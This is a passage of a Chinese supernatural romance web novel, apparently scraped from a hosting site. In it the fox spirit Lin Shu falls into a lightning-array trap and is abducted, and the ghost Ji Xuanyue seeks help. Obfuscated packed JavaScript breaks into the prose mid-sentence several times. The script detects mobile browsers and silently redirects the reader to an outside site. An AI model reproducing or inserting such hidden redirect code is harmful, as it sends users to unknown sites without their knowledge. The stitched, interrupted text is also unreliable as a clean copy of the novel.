姬悬月指着片中的小狐狸问道：“那她，是不是也不记得？” 林疏回想一番，道：“她大概记得吧，我记得这个画皮有第二部，反正第二部的小唯是记得的。” 姬悬月沉默片刻，道：“那你当年到底经历了什么？比修为散尽还要严重吗？不然……你为什么会不记得前事？” 林疏笑道：“这是电影，是人类的创作，并不完全是真实的。” 他没有正面回答姬悬月的问题。 看完电影，又过了很久，林疏身上灵力才恢复正常运转，他在被窝里拱了半天，艰难地变回人形——但□□。 姬悬月耍赖皮不肯回避，林疏只好裹着被子穿衣服，小狐狸在被子里拱来拱去的，看得姬悬月想笑。 最后林疏终于穿着歪歪扭扭的睡衣爬出来，气得脸通红：“今日之耻，我必报之！” 姬悬月忍着笑，柔声道：“变成狐狸不好吗？我很喜欢，不如你隔几天就变回狐狸给我看看。” 林疏怒道：“我在会所里那般谨慎小心，还是着了道！证明穆迎松压根就知道我是什么，也有办法对付我！” 姬悬月便安抚他道：“知道就知道，下次不见他了，他们有阴谋，我们就堂堂正正应对就好了。” 林疏沮丧道：“我本体的事都已经被发现，血煞怪还没解决，九龙千年柱也是一团乱麻……真可恶啊！！” 姬悬月上前摸摸林疏的头，道：“现在最重要的不是那些，而是你得知道你为什么会中毒，下次才好避开。” 林疏泪目道：“这事我也弄不清楚，恐怕还得求助师娘……说起来师父也回来了，呜呜呜，我绝对不能让师父知道这件事！” 姬悬月看着宽面条泪的林疏，叹了口气。小狐狸是一点都不想继续跟他讨论感情问题啊。 刚才是谁对他亲亲摸摸的，这会儿又装作没发生了。 还能怎么办呢？当然是选择原谅他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883406|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是紧随其后的便是当前的问题，林疏和姬悬月都很清楚，穆家人绝对有不可告人的秘密，也不知当年他们对姬悬月做了什么，甚至直到如今，穆家每一代都不是省油的灯。 而且，林疏不明白为什么穆迎松能让自己中药，还变回了原型。 林疏虽然不是人，但是通体并无妖气，不受收妖法器的影响。而且在会所中他并没有吃东西，水都没喝，也没闻到空气中有什么其他的味道。 这个谜团被他一直带到了灵调局。 周一，林疏双手揣兜去上班，路过二楼档案室，脚步一拐，去找了他的革|命好亲友小纪。 “无色无味？不入口？就能让堂堂天狐变回原型？？？”小纪连连摇头，“我没听说过这种事，你不如直接去问林主任。” 林疏嗷嗷哭：“我哪里敢去问林主任，我查这件事都是背着他查的……” 小纪语重心长道：“这种事就没必要瞒着林聆了吧，你可是天狐一族最后一根独苗苗，如果有人把主意打到你身上，根本用不着你动手好吗？林主任一道天雷，顾局长刷刷几剑……” 林疏：“……” 林疏悻悻道：“不帮忙拉倒，我走了。” 小纪一边啧啧啧，一边随手抄了个便签贴显示器上：“好好好，替你查一查。不过我说话你也别当耳边风，该告诉家长就得告诉家长，而且早恋影响学习……” 啪——林疏原地捂住了耳朵，扬长而去。 就是因为不想告诉家长自己早恋了，所以才连带穆迎松他们的事也都没说。 林疏心虚得很，他跟姬悬月之间的拉扯还没有个头绪，怎么敢让家长介入啊！！！ …… 姬悬月在街上漫无目的地走。 他口袋里揣着林疏给他画的实体符，但他并不想用。 其实，姬悬月并不喜欢热闹，他行走在这个喧嚣的城市里，觉得自己是多余的一个。 所有人的悲欢都与他无关，他只想待在林疏身边。 姬悬月从手机上刷到一个词，叫“恋爱脑”，姬悬月觉得自己就是个恋爱脑，无时无刻都想着林疏。 但姬悬月知道自己原本应该不是这样的，他从没有告诉过林疏，虽然他不记得很多事，但随着重获自由，在鹤城四处游荡，他越来越能想起当年的很多感受。 但那些感受里，不包括如何爱一个人。 以前的他恐怕从来都没有爱过一个人。 他又去吃过高桥松饼，虽然味道不算正宗，但他知道那是他熟悉的味道。 他去寻找过自己在民国做的梦里，那个有一座小桥的村庄——当然，没有找到，因为鹤城的城市化太严重了，几乎没有原生态的小河。 但行走在鹤城的每一寸土地上，走的越久，姬悬月越觉得周围的空气充满了熟悉感。 那不是来源于视觉的熟悉感。 是浸透他呼吸的每一寸空气，是照在他头顶的每一寸阳光。 姬悬月几乎可以确定，他在生前住过的地方，就在九龙千年柱附近。 而且他每次踏入九龙千年柱的范围，都会莫名其妙有一种失控感。 胸口有一股气息在横冲直撞，姬悬月猜测，如果没有脖子上这根丝带的抑制，他恐怕会在这片区域发狂。 58. 第 58 章 因此，姬悬月去九龙千年柱的次数不多，他不想给林疏添麻烦，也不想以后都不能跟林疏在一起。 所以更多的时候，他是在鹤城街头闲逛——就在林疏经常领他去的大学城附近。 所以这一次，他不可避免地，在那附近看到了小轩。 那个染回黑发、曾在饭店与他们重逢的小轩。 姬悬月瞧见他跟另一名稍高出一些的男生并肩在街上走，走到分叉口，又各自告别，然后朝相反方向离开。 姬悬月想了想，找了个角落给自己贴上实体符咒，然后换了个方向，与小轩面对面“偶遇”了。 姬悬月这样的相貌很难让人注意不到，姬悬月还没做出偶遇的模样，小轩已经惊喜地伸手打招呼：“哥哥！哥哥好巧，我是小轩，你还记得我吗？” 姬悬月礼貌地点了点头：“你好，真巧啊。” “你来这里逛街吗？”小轩显得很热情，“小疏哥呢？他没跟你一起吗？” 姬悬月摇摇头：“他在上班。” 小轩有些失望，但还是很开心道：“要不要一起去喝点什么？” 路边的奶茶店里，小轩买了一杯奶茶，姬悬月则点了一杯纯茶，并替小轩付了款。 两人找了个宽敞的桌子对着坐，姬悬月开门见山道：“既然这么巧遇到你，我正好有些问题不知道该请教谁，你可以给我一点建议吗？” 小轩欣然道：“你问吧，我猜测是与小疏哥有关。” 姬悬月也不忸怩，直截了当道：“我有过一个前任，林疏好像对此很在意。” 小轩道：“前任现在在哪里？” 姬悬月：“死了。” 小轩：“……” 姬悬月道：“真的死了。” 小轩啧了一声：“这很难办，活人是永远无法战胜死人的。” 姬悬月不解道：“为什么？” 小轩道：“《嬛嬛传》看过吗？” 姬悬月缓缓摇头。 小轩惊讶道：“这都没看过？建议你好好看看。” 姬悬月诚恳道：“能详细说一下什么意思吗？” 小轩道：“就是说，你心里有一个已经死了的白月光，那么你就会在内心无限美化他。活着的人再怎么努力，也无法与你心中最完美的人媲美呀。” 姬悬月道：“可是我压根不记得跟他的过往，这样也算那个‘白月光’吗？” 小轩：“？” 什么古早狗血失忆剧情？ 姬悬月解释道：“情况可能比较复杂，我这个前任已经死了很多年，我不但不记得他叫什么，连怎么认识、怎么相爱也忘了。” 小轩惊讶道：“那你们在纠结什么？这不是最完美前任了吗？” 姬悬月道：“话虽如此，但我心里担心，如果有一天我想起了这个前任，会不会影响到我爱现在的爱人？” 小轩只得道：“你这是哲学问题，我回答不了。反正，如果有一天我男友说他突然想他前任，我会毫不犹豫分手。” 姬悬月一想也是。 他低头装作饮茶，片刻后又道：“那你知不知道，该怎么表白，才能让对方接受？” 小轩一脸莫名其妙：“这种事情怎么能问别人？而且，你也要看他喜不喜欢你吧？如果他不喜欢你，就算你把全世界都放在他面前，他也不会同意的。” 姬悬月又问道：“你知道林疏喜欢什么吗？” 小轩想了一想，从口袋里掏出手机，打开一个软件，丢到姬悬月面前：“这是小疏哥的‘蓝帝’主页，不过我建议你看看就算，这上面的东西有些人是乱填的。” 姬悬月仔仔细细看着那个主页，林疏的头像似乎是自拍照，但是只有一个半侧的背面，饶是如此，他清晰流畅的下颌线和修长脖颈也展露无遗，看着十分清爽又好看。 给林疏主页点赞的人很多，姬悬月粗略看了看，林疏其实没发过什么状态，最晚的一条是在半年前，发的是一杯奶茶，似乎就是他和小轩现在所在的店。 又点进林疏的主页，姬悬月看到林疏填写的资料： 昵称：执风。 性别男，爱好男。 生日保密，年龄24岁。 最喜欢的运动：睡觉。 姬悬月：“……” 最喜欢的颜色：白色。 最喜欢的食物：鸡肉。 最喜欢的电影：《霸王别姬》 姬悬月暗暗把这些记下来，他又怕记不住，就拿出自己的手机去拍小轩的手机。 小轩：“……这样吧，我加你微信，把他的主页分享给你，你也可以下这个软件，然后关注他，就可以随时看到了。” 姬悬月点点头，他已经在林疏帮助下注册了自己微信，但目前就只加了林疏一个人。 加上小轩后，姬悬月获得了林疏的“蓝帝”主页网址，如获至宝。 小轩在一旁好奇地问道：“你们还没捅破窗户纸吗？其实我能看出来，你们互相喜欢。” 姬悬月道：“我还在努力，想让我们之间的距离再近一点。” 小轩道：“祝你成功。不过，如果就是因为一个死掉的前任，他那样介怀恐怕也有其他的原因在，你就没察觉到什么吗？” 姬悬月想了想，没有说。他和林疏的事是不好随便对外人说的，也说不明白。 但能获得蓝帝主页这个信息，已经算是今天的意外之喜了。哦，还有《嬛嬛传》，回去要记得看。 小轩却突然道：“我个人认为，小疏哥介意的点，其实并不在于你有几个前任、是死是活，而是你忘记了。” 姬悬月扒拉手机的手指一顿。 小轩道：“他不能确定的，恐怕是你忘记的那些记忆里，你是否还爱着你的前任。如果你失忆前仍然爱他，那么如果有一天你想起来了……” 姬悬月不做声了。 小轩道：“所以，你自己想想看吧，怎么来解决这个问题。” 姬悬月心想，或许，真的应该弄清楚自己忘记的那些事，才能给林疏最问心无愧的爱吧。 想要想起那些，恐怕……还得去一趟九龙千年柱。 于是在告别小轩，准备回家前，姬悬月又去了一次九龙千年柱所在的广场。 时间临近下午五点，广场上有很多接孙子孙女回来的老人，带着孩子在柱子边玩耍。 姬悬月的实体符时间还没过，所以广场边的大家都看见了这个俊秀的小伙子站在柱子底下发呆。 姬悬月的脑子里非常乱。每次来到这里，都会这么乱。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883407|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛看到很多摸不着的碎片在自己脑子里飞速旋转着，他想握住它们，却一个都握不住，追不上，也看不清。 那些碎片里，有的是他在桥头等一个不会来的人。 有的是他在信里写下的绵绵情思。 有的是水流敲击石块的清脆，是他心中如春花嫩叶一般缓缓升起的情意。 却……不是对着穆绍棠。 姬悬月知道穆绍棠的长相和穆迎秋的是一样的，但他想象着那张脸，心中却只余冰冷的厌恶。 他绝对没有爱过穆绍棠。 可是……如果不爱，为什么会嫁给他？ 难道真的是代替妹妹嫁过去？妹妹发生了什么？ 姬悬月是谁的名字？他又是谁？ 这一团乱麻缠绕在姬悬月的脑子里，缠得他头痛欲裂！ 不……不只是头痛。 还有暴虐。 姬悬月莫名其妙觉得浑身不爽，尤其是对于为止的这些谜团，他恨不得把这片地砖都挖开，把九龙千年柱挨根拔起来摔个粉碎。 姬悬月对这种感觉还挺熟悉的，他被困在穆宅一遍一遍重演拜堂之日的时候，每天心里都这么暴躁。 林疏好像说过，那是怨气导致的。 难道……这九龙千年柱，引动了他的怨气？ 过了许久，姬悬月终于艰难地移动到了九龙千年柱的影响范围之外。 而胸口的暴虐也消失得一干二净。 他顿时明白过来，这次九龙千年柱对他的影响比以往都要深，居然能引动他早就被黑色项圈压制的怨气。这并不是什么好事。 他抿着唇，无视了周围围观的目光，径自朝家里赶去。 这件事不可隐瞒，他必须要告诉林疏！ 姬悬月回到家的时间，林疏已经下班，正在浴室里洗澡。 林疏今天也不好过，下午小纪找到他，说排除药物和符咒，便只剩一种可能了，就是阵法。 偏偏林疏对阵法一窍不通，他还想找办法弥补自己这一短板，借了两本书要看，结果翻开书一看，眼前一黑。 《丹阴七蛊阵》作者：林疏。 ……于是林疏对着这两书发了一下午呆，到下班，都没缓过来。 原来曾经的他有那么牛？怎么偏偏忘记了啊！！！真可恶！ 他失魂落魄回到家后，见姬悬月不在，就径自去洗澡，结果刚洗完，归来的姬悬月就带给他一个重量级消息。 “九龙千年柱异动？”林疏把毛巾往茶几上啪地一按，顶着湿漉漉的头发站起来，“什么时候的事？” “并不明显，只是我去查看的时候，发觉它引动了我的怨气。”姬悬月道，他捡起毛巾，重新裹在林疏头上，动作轻柔地帮林疏擦头发。 林疏才刚下班，洗了澡，正在消汗，如此这般，他哪里还消得下去汗？ “不行，我得去看看。”林疏转身就去找道袍。 姬悬月赶紧道：“你别急，才刚下班，你不休息一下吗？” 林疏已经换上了一身干爽衣服，把道袍披在身上，又抓了一大把符咒塞进袖子里：“能在那条丝带的封印之下，引动你身上的怨气，证明九龙千年柱的地气已经与以往不同。如果现在不去看，等出事了遭殃的可是那一整个村的百姓！” 59. 第 59 章 于是林疏紧急出门，还打了个车，赶往九龙千年柱。 路上，姬悬月好奇地问道：“为什么你上班的时候都骑自行车，下了班反而打车？你想省那个通……通勤补贴，不是应该都骑车？” “……”林疏面无表情道，“因为灵调局的拨款是归我师娘管……如果我上班出外勤总打车，然后拿条子去报销，你猜他会不会打我？” 姬悬月：“……”当他没问过。 九龙千年柱的广场上此时已经没有多少人了，临近天黑，老头老太们都带着孙子回家吃饭了，只有零星几个人，还坐在石桌石凳上玩牌。 林疏与姬悬月缓步走到千年柱底下，林疏只闭上眼略一感受，连符纸都还未祭出，脸色就变了。 空气中有血煞怪的气息！ 以前他都不曾感觉到，这里为何有血煞怪？ 难道做四煞千年柱的人始终没有放弃过？ 林疏暗道一声不好，如果动起手来，这周围的凡人该怎么办？但眼下也的确不是动手的时机……他回头看了一眼姬悬月。 不知道……姬悬月现在还受影响吗？ 姬悬月好像又不受影响了，他脸色还算正常，没什么怨气，正疑惑盯着九龙千年柱最中间、也是最高的那根柱子。 林疏起身，走向那几个还在打牌的老年人，略围观了一番，见他们结束了一局，赶紧见缝插针道：“哎，大爷，打听个事。” 大爷叼着烟，头也不抬，手上继续洗牌，应道：“你问。” 林疏道：“你们是祖祖辈辈都住这个村里吗？” 大爷将嘴里的烟用舌头顶着换了一面，嘟嘟囔囔道：“算是吧，我家三代都在这里。” 林疏道：“那九根石柱……” 大爷这回抬头了，上下打量了林疏一番，笑了：“哟，还是个道士。” 林疏赔笑：“混口饭吃，这个风水布局我没见过呢。” 大爷洋洋得意道：“那你可问对人了。虽然我祖上也不住这儿，但这柱子的事我还真知道。你得拿罗盘来测算，我告诉你个名字：小紫禁城。” 林疏一愣，他还真没想过这一点。 大爷卖完这个关子竟然就不管了，扭头继续打牌去了，林疏便从袖子里掏出罗经，对着九龙千年柱四处测了测，却并没有发现什么异常。 “这布局……跟紫禁城什么关系？”他一脸茫然，难道是自己学艺不精，看不出端倪？ 师娘的确说过，这九龙千年柱跟一个风水局有关，但林疏学艺不过二十年，大半精力都用在修习道术了，对风水的很多东西都是一知半解。 他正打算回去问问林聆，一回头，瞧见姬悬月。 姬悬月仰着头，一脸专注看着柱子顶端蹲着的兽形雕刻。 林疏心中一动。 穆家。 林疏当即拿出手机调出鹤城地图，扒拉放大，在九龙千年柱的位置打上自己的坐标，然后沿着中点开始寻找穆家。 这一找，他的眉心缓缓累上了凝重之色。 这九龙千年柱竟然与穆家的在同一条经度线上，从北向南。 林疏确定了比例尺，又将地图拉近了简单计算一番，发现这个距离也很有讲究。 他马上起身，走到九龙千年柱中间那根柱子的底下，将手机地图摊开放在掌心，将指针对准穆家老宅。 如果……将穆家老宅看做紫禁城，那么九龙千年柱是什么？ 是……华表吗？ 穆家老宅的格局林疏并未细看过，但他从卫星地图上扒拉着，也能窥探一二。 卫星图上的穆宅四四方方，可不就是一个缩小版的紫禁城！ 林疏心乱如麻，他想了想华表的形制，不由后退了几步，又退了几步。 九龙千年柱高度不算平均，最高的一根有两米多，林疏退到了一个能看见石柱全貌的位置——此时天已经黑了，他用上狐狸的夜视能力，开始仔细观察每根柱子的顶部。 石柱上的雕刻已经在岁月的打磨下变得模糊，但林疏仍旧在柱顶……看到了坐卧的望天犼。 负责监督人间天子的“望天犼”。 其正对的，是穆家的方向。 小紫禁城！ 这风水局太大了，这风水局不是林疏能够断言的。 如果穆家真是跟紫禁城学的布局，那他们要谋划的东西，恐怕不只是一个“四煞千年柱”。 在这样的地气温养之下，血煞怪早成气候，这里也不是表面看起来这么平和！ 这根本不是林疏一个只学了二十年道术的半吊子天师能够搞定的！ 林疏马上跑去拉姬悬月的手：“这里不能待了，快走！” 但就在此时，四面传来雷电交织的霹雳声，林疏惊惧后退，就见九龙千年柱四周，闪着电光的牢笼拔地而起，竟将他们二人，牢牢困于其中！ 这是一个陷阱！ 林疏心想，防不胜防！ 对方布局太快，出手太迅疾，林疏想过千万种可能，就是没有想过……对方会在九龙千年柱直接动手！他们的行动甚至只在一天后！ 对方是如何知道林聆把九龙千年柱的案子交给了林疏？ 对方是如何得知，姬悬月会来九龙千年柱？ 对方是如何利用姬悬月，将林疏引到了这里？ 这些统统都是谜团，统统都没有答案！ 怪只怪他们警惕心太弱。 但林疏心中并没有过多焦急，他知道自己还有一些底牌，只是不知道对方的诉求是什么。 要知道对方要什么，才有筹码，才好上桌谈判。 一旁的姬悬月也已经很快冷静下来，知道自己落入了陷阱。 但他心中另有一个疑问，促使他在回家之前来到九龙千年柱、并发现问题的人，是他偶遇的小轩。 如今看来，谁是猎物？谁又是真正的猎人？ 这个局太深，姬悬月知道现下不是抽丝剥茧的时候。 当务之急，是逃离开这个雷电牢笼！ 他试着冲破这牢笼，但雷电将他阻挡，冲撞了几次后，姬悬月发现，自己身体的任何部位都可以伸出去，但只要脖子上的丝带触碰到雷电，就会将麻痹感传遍全身。 林疏已经掏出了手机，给自己的师父师娘打电话。 意料之中的，打不通，这里的磁场与外界隔绝。 他又掏出一叠符咒，挨个实验。止雷符、定雷符、风符，都没有用。 林疏再祭出几张溯灵，想看清谁是布局人，但周围没有任何痕迹，反而在溯灵燃尽后，他头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883408|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛欲裂，眼前闪过了无数零星的碎片。 难道……他失去记忆也与这九龙千年柱有关？林疏怔住，但那些碎片太细小，太迅速，林疏并没能抓到什么。 但随即，他们周围的雷电囚笼开始向内收紧，林疏马上和姬悬月紧紧靠在了一起，两人迅速交换了一下信息，讨论着脱身方案。 符咒不起作用，说明这不是用孽力怨力或者道法布置的陷阱，而是用外力—— 难道又是阵法？！ 林疏心中一沉，他知道自己大概是猜对了。 因为他联想到了会所里他变回原形的事——今天小纪也给他说了这种可能，如果是因为会所里有阵法，那就说得通了！ 毕竟阵法这东西想发现可太难了，刻在地板上、地摊上、天花板上，甚至坐过的坐垫上，都有可能。也的确是无色无味不需入口的布置…… 林疏此时开始后悔自己在阵法课上偷懒，下午那本书也没看完…… 这样想来……对方连自己的弱点是什么都一清二楚了。 想到这里，林疏苦笑。 他明白，想逃出这个困局，他恐怕要脱一层皮。 姬悬月将林疏挡在身后，还在思考该怎么抵抗住麻痹之感，才好破局？ 突然，厉鬼脖子上的黑色丝带被身后的人一扯，那绳结非常轻易就松开了。 他惊讶地回头，就见林疏神色如常，平静道：“姬悬月，你自由了。” “你这是做什么！”姬悬月怒道，“你想让我抛下你先走？” 林疏歪着头一笑：“对方连我的后手是什么都料到了，却唯独没有对你设防，他们的目标根本就只有我。现在想破局，必须要有人替我去找一个强有力的援手。” 姬悬月蹙眉：“你是说你师娘？” “不，”林疏摇头，“你得找我师父，顾煜城。” 姬悬月道：“我不知道他在哪儿，他在灵调局吗？” “大概吧。”林疏随口道，“但是姬悬月，我那句话不是开玩笑，你自由了。” 姬悬月的脸色冷了下来：“你最好想清楚再说话。” 林疏认真道：“我师父眼里的世界是黑白分明的，你是血孽厉鬼，如果你去找他，很有可能被他不问青红皂白直接当胸一剑。所以，你不去找他也没关系，我不会怪你。” “……”姬悬月抿着唇，冷冷盯着林疏。 此时林疏眼中的清澈已经尽数褪去了，姬悬月又看到了熟悉的，死寂冰冷、成熟得令人心中发凉的眼神。 姬悬月明白，林疏不是在开玩笑。 然而千言万语，最后只汇成了两个字，他道：“等我。” 失去束缚的厉鬼几乎是瞬间，就挣脱了电网，消失在林疏视野中。 林疏望着他疾步离开的背影，微微叹了口气。 他知道姬悬月一定会回来。 这才是他叹气的根本原因。 …… 脱出雷电牢笼后，姬悬月努力从焦灼中挣脱出一点点理智，边跑边掏出手机，调出那个曾经打过一次的号码，拨了过去。 没有信号。 直到脱离九龙千年柱范围很远之后，电话终于艰难拨通。 嘟声过后，林聆清清冷冷的声音响起：“你好哪位？” 60. 第 60 章 “我是姬悬月。”姬悬月急切道，“请问你现在在哪里？林疏的师父又在哪里？” “……”林聆沉默片刻，道，“我们都在家，阿城在养伤，你找他有什么事？” 姬悬月马上道：“林疏出事了，九龙千年柱有个雷电的阵法陷阱，他被困在里面，让我出来求救。” 林聆轻轻嘶了一声，片刻后道：“我知道了。” 姬悬月不安地握着被挂断的电话，想了想，还是朝着灵调局去了。 作为灵异案件调查局，这幢大楼对于任何邪祟都是不友好的——这里的门禁直接就是一道针对邪祟气息的净化之阵。 以往姬悬月能正常进出，是因为他身上没有怨气，有也被林疏化解了。 而此刻，姬悬月站在灵调局大门前，伸手碰了碰门把手，手指却被禁制啪地弹开。 他心中知道缘由，却不由充满了暴戾的情绪，明知道眼前是自己无法越过的防护禁制，他却蛮横地直挺挺冲了过去！ 于是，刚一碰到禁制，他就被阵法禁制弹得向后倒飞出去，狠狠跌倒在地上。 姬悬月不甘地爬起来，跌跌撞撞绕着大楼试了一圈。可这禁制却无懈可击，他无论如何，也闯不进去。 他不由抬头仰望大楼——灵调局中员工早已下班，整栋大楼都黑漆漆，像没有一点活气。 而林疏还在笼中……不知道此刻正在经历什么！ 姬悬月愈发急躁，没了脖子上的束缚，他本能就调动起了隐藏在灵魂最深处的力量。 一股……来自深渊的力量。 于是就在一息之后，红了眼睛的厉鬼伸手去撕扯那道禁制，心头翻滚的怒火促使着他不由自主将所有孽力集中在了手指……随后，他竟然生生撕开了灵调局门口阻挡的禁制！ 终于进入了熟悉的灵调局内部……在停下来的一瞬间，姬悬月突然后知后觉明白过来，他站在一个非常危险的临界点。 林疏猜得没错，姬悬月现在的状态极度危险——没有缚灵索，他的怨气与血孽都可以自由使用了，只要情绪翻涌、理智决堤，他就会陷入失控。 而那强大的血孽之力在他身体里翻滚，就像未封印的潘多拉魔盒里伸出的触手，诱惑着他将盖子打开，肆意取用。 姬悬月自己也意识到了这一点。此刻，他只需要心念微动，就可以轻易吸取周围的怨气，与自己灵魂深处的血孽之力相融合。 只需要轻轻跨一步…… 他就可以撕裂这个世界。 姬悬月轻轻推开了林聆办公室的门，这里空无一人。 他开始动手翻找林聆桌上的名片，找了好半天，终于找到一张压在茶桌底下皱皱巴巴的便签，上面写着“顾煜城”，下面有一串号码。 姬悬月的手指已经在情绪冲击下不太稳当，他按下那个号码，深呼吸一口气。 嘟声响起。 片刻后，电话通了。 对面是一个低沉好听的男声：“你好，哪位？” 姬悬月吸了口气，道：“你好，我是林疏的朋友，他遇到了危险，让我找你帮忙。” “？”顾煜城愣了一下。 在姬悬月看不到的灵秀空山中，顾煜城从温泉里起身，疾速掐算了一番。大约十秒后，他沉声道：“你回到九龙千年柱，先查看林疏的情况，等我一分钟。” 姬悬月的心骤然放下，他知道，顾煜城应该会来。 但当厉鬼一步不停赶回九龙千年柱的时候，等待他的，是一片空地。 林疏已经消失了。 在赶回的途中，姬悬月远远就看到九龙千年柱周围的电光牢笼消失了，他抱着侥幸心理赶过去看，但茫然地绕着九龙千年柱走了一圈又一圈，他没有看到任何熟悉的身影。 没有人，没有狐狸，甚至没有留下一点痕迹。 姬悬月的眼睛红了。 他握紧了拳头，知道自己还是来晚了。 胸腔中血孽的腥气鼓动着，几乎要充满他的双眼。如果此时他有一个镜子，就会发现，他的眼白已经完全成了赤红色。 林疏被带去了哪里？林疏现在怎么样了？有没有危险？ 他该如何才能找到林疏？ 姬悬月的耳边已经听不见任何声音，唯余一阵阵孽力失控的嗡鸣。 他的黑色项圈被拿走了，他和林疏之间最后的联系消失了。 要如何才能找到林疏？要如何……才能救林疏？ 姬悬月的呼吸越来越急促，他周身的血孽几乎已经凝成实质……眼看就要破体而出！ 突然，额头一凉。 姬悬月如梦初醒，就见一身复古白袍的林聆站在他面前，食中二指并起，正点在他眉心。 那冰冷的触感从眉心一直流淌到四肢百骸，姬悬月的血孽在这一瞬间就被压下去了。 林聆的语气清清冷冷：“你如果继续暴走，我会直接超度你。” 姬悬月赶忙道：“林先生！你有没有办法找到林疏？他刚才还在这里……” “答应我，控制你自己。”林聆道。 姬悬月只得道：“我答应你。” 林聆收回了手指，姬悬月才发现，他另一只手正捏着雷符。 姬悬月顿时出了一身不存在的汗，他明白，如果刚才自己没有冷静下来做出承诺，林聆下一秒就会引雷劈死他。 这大概就叫物理超度。 林聆收了雷符，手指一弹，又燃起了一道姬悬月熟悉的符纸——溯灵。 九龙千年柱附近的灵异痕迹瞬间显现出来：姬悬月离开后，阵法中的林疏露出痛苦神色，他靠着一根石柱慢慢滑坐在地上，然后倒下缩成一团，最后，变成了本体小狐狸。 阵法消失，溯灵结束。 姬悬月茫然看着林聆，就见林聆的脸色非常不好：“带走他的人是凡人，溯灵不能捕捉。” “那该怎么办？”姬悬月有些着急，但他知道他必须压制自己的情绪，他必须在林聆手底下活到找到林疏为止。 突然，他们身后远远传来一个有些低沉的、带着鼻音的男声：“我早说过，溯灵不是万能的。” 姬悬月讶异地回头，看到一个头发理得很短的男人。他的五官俊朗，轮廓深邃，身材高大，穿着一身和林疏颜色差不多的道袍。这身打扮让他看起来有些奇怪，明明身材长相像个男模，衣服却是中式复古。 “不是让你养好伤再出来？”林聆蹙眉，“小狐狸的事有我就够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883409|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “这事你一个人不好处理，你的敌人不是邪祟，是凡人。”男人缓步走来，沉声道，“我是他师父，他出事，我怎能不来？” 姬悬月马上意识到，这名男子就是林疏的师父，灵调局的局长：顾煜城。 “你是姬悬月？”顾煜城走到近前，倒是很客气，还对姬悬月伸出了手。 姬悬月道：“顾先生您好，接下来我们……” 顾煜城却道：“不必心急，你跟小狐狸背着我在查的案子，先跟我说一遍。我虽然能推算出一二，但未知全貌。” …… 另一边，林疏被迫化为原形后，就给两个不算陌生的人关进了笼子里，拎着上了车。 还是一辆林疏很熟悉的车——穆迎秋开的那辆。 是的没错，关他的人当然就是穆氏两兄弟。 林疏睁一只眼闭一只眼，在笼子里自暴自弃，他面前的穆迎秋和穆迎松两人都已经不装了，穆迎松对待笼子非常粗暴，林疏在里头被摔摔打打的几乎要昏过去，还是穆迎秋把笼子接过来后，他才稍微享受到了一点“俘虏优待”。 车子晃晃悠悠开了一会儿，在一片荒草地里停下了，穆氏兄弟将林疏拎进了一个……林疏也还算熟悉的地方。 穆家老宅。 老宅内部荒凉如初，穆迎松和穆迎秋往里走着走着，林疏却发现最里面的内院中，竟被收拾得井井有条，看起来有人在这里住过。 穆迎秋把关林疏的笼子放在院子里的石磨上，两兄弟就一起进屋去了。 林疏在笼子里艰难地爬来爬去，环视四周，发现这个院子三面都是房子，但只有穆迎松和穆迎秋走进的那一间安了新窗户和门，另外的两间房都破破烂烂，门户大开。 又等了一会儿，穆迎秋先出来了。 他不再是温文尔雅的模样，眸中带上了一丝贪婪，看着笼中的小狐狸，竟露出了令狐胆寒的神色。 林疏顿时警惕地后退了几步，夹着尾巴紧紧靠在了笼子的壁上。 穆迎秋已经走过来，蹲下|身子与笼中的狐狸对视。 “林疏，你变回人形吧，”他用非常温柔的声音道，“我放你出来，你变成人，让我快活快活。” 林疏：“？” 穆迎秋说完了，自己都笑了。但一开始只是低声笑，笑着笑着他就再也忍不住了，直笑得仰着头往后坐在了地上，笑得眼泪都出来了。 林疏用看疯子的眼神看着他。 穆迎秋好不容易笑完了，重新凑过来与林疏四目相对，他眼中的恶意几乎要满溢出来了。 林疏就听见他说：“之前那么耍我，好玩吗？” 林疏想了想，眯着眼睛道：“好玩，一想到你咬牙切齿还要哄着我的样子，我都想笑。” 